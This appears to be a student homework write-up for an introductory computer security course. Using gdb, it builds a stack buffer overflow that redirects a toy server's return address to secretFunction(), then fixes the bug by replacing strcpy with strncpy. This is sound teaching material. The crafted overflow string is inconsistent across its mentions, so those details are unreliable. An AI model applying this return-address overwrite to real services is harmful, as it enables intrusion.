

ECE 40400: Introduction to Computer Security

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Specially crafted buffer overflow string

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde\x56\x55\x55\x55\x00\x00

```
Breakpoint 2, 0x00005555555556d8 in clientComm ()
(gdb) si
0x00005555555556d9 in clientComm ()
(gdb) si
0x00005555555556de in secretFunction ()
(gdb) cont
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 1127968) exited with code 01]
(gdb) █
```

Procedure to craft the string!

1. Compile and run gdb server
2. Set a breakpoint in vulnerable function clientComm()

```
(gdb) break clientComm
Breakpoint 1 at 0x159a
```

3. Run the server at any high valued port, I used 9034

```
(gdb) r 9034
Starting program: /home/shay/a/pjannu/Desktop/ece404/HW10/server 9034
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Connected from 127.0.0.1
```

4. Run the given client on another terminal and enter a random character to calculate the offset later

```
pjannu@eceprog3:~/Desktop/ece404/HW10$ ./client 127.0.0.1
Say something: a
You Said: a
```

5. Now we need to set a breakpoint at the leave instruction to see how far or calculate the offset of the strcpy to the return address for that we first run

- a) Disas clientComm and set breakpoint at the leave instruction

```
0x00005555555556ca <+312>: mov    $0x1,%edi
0x00005555555556cf <+317>: call  0x555555555290 <exit@plt>
0x00005555555556d4 <+322>: mov    -0x10(%rbp),%rax
0x00005555555556d8 <+326>: leave
0x00005555555556d9 <+327>: ret
End of assembler dump.
(gdb) break *0x00005555555556d8
Breakpoint 2 at 0x5555555556d8
```

- b) Now continue so that our program reaches the leave instruction

```
(gdb) cont
Continuing.
RECEIVED: a
RECEIVED BYTES: 2
```

c) Now we need to check the return address present on the stack of the clientComm that we want replace

Use this command which is given in lecture notes

```
(gdb) print /x *((unsigned *) $rbp + 2)
$1 = 0x55555588
```

This means we need to replace **0x55555588** with address of **secretFunction()**

d) Now let's check how far **0x55555588** is from our input **a**

Run `x /100b $rsp` which gives you the present 100 bytes from the stack pointer

```
(gdb) x /100b $rsp
0x7fffffff290: 0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7fffffff298: 0xf8  0xd2  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffff2a0: 0x20  0xd3  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffff2a8: 0x48  0xd4  0xff  0xff  0x04  0x00  0x00  0x00
0x7fffffff2b0: 0xa9  0x53  0x55  0x55  0x55  0x55  0x00  0x00
0x7fffffff2b8: 0xbb  0x96  0xe9  0x61  0x0a  0x00  0x00  0x00
0x7fffffff2c0: 0x10  0xe0  0xad  0xf7  0xff  0x7f  0x00  0x00
0x7fffffff2c8: 0x54  0x66  0xda  0xf7  0x02  0x00  0x00  0x00
0x7fffffff2d0: 0x30  0xd3  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffff2d8: 0x88  0x55  0x55  0x55  0x55  0x55  0x00  0x00
0x7fffffff2e0: 0x48  0xd4  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffff2e8: 0x59  0xd8  0xff  0xff  0x02  0x00  0x00  0x00
0x7fffffff2f0: 0x00  0x10  0xfc  0xf7
```

As you can see **a** is **29 bytes away** from the return address as mentioned above.

e) Now let's get the address of **secretFunction** using **disas**

```
(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
0x00005555555556da <+0>:    endbr64
0x00005555555556de <+4>:    push    %rbp
0x00005555555556df <+5>:    mov     %rsp,%rbp
0x00005555555556e2 <+8>:    lea     0x9c7(%rip),%rax    # 0
0x00005555555556e9 <+15>:   mov     %rax,%rdi
0x00005555555556ec <+18>:   call    0x555555551b0 <puts@plt>
0x00005555555556f1 <+23>:   mov     $0x1,%edi
0x00005555555556f6 <+28>:   call    0x55555555290 <exit@plt>
End of assembler dump.
```

As you can see we need to replace the address from the previous **step d** with the **address shown above** with the offset (**29**, see **step d**) so that we can enter the **secretFunction**

f) Now we craft the string to perform buffer overflow

Offset(29 step-d) + **Address in little endian (step-e)** + **\x00 + \x00**

(for overwriting LineFeed)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde\x56\x55\x55\x55\x55\x00\x00

g) And that's it enter this in client and run, we should end up in the **secretFunction**

```
0x00005555555556de in secretFunction ()
(gdb) cont
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 1127968) exited with code 01]
(gdb) █
```

2)Fixing the buffer overflow problem in clientComm

The line `strcpy(str, recvBuff)` is a security risk because it blindly copies data from `recvBuff` into `str` without checking the length. This can lead to a buffer overflow vulnerability.

Solution

To solve this risk, need to use a safer function for copying data that ensures we do not exceed the buffer size. replace `strcpy` with `strncpy` and specify the maximum number of bytes to copy.

Here's how to implement the fix:

Replace line **`strcpy(str, recvBuff);`** in **server.c** file. with

`strncpy(str, recvBuff, MAX_DATA_SIZE);`

Here, **`MAX_DATA_SIZE`** should be replaced with the actual size of the buffer `str`.

MAX_DATA_SIZE is defined appropriately to prevent buffer overflow vulnerabilities. It should be equal to the size of the buffer `str` minus 1 (to leave room for the null terminator).

Testing the modified code to ensure it functions as expected.

Before Fix:

```
0x00005555555556de in secretFunction ()
(gdb) cont
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 1127968) exited with code 01]
(gdb) █
```

after the fix:

```
pjannu@eceprog3:~/Desktop/ece404/HW10$ ./client 127.0.0.1
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde\x56\x55\x55\x55\x00\x00
You Said: AAAAAA
Say something: █
```

Does not **overflow** and loops back to **Say Something**

```
(gdb) cont
Continuing.

Breakpoint 1, 0x00005555555555c9 in clientComm ()
(gdb) █
```

Loop back to the start of **clientComm** and work as expected without entering **secretFunction**

PROCMAILRC

**3) Currently in the process of receiving a new email for the assignment,
have Contacted and Informed the GTA and are working with ECN to
get the issue resolved, thank you**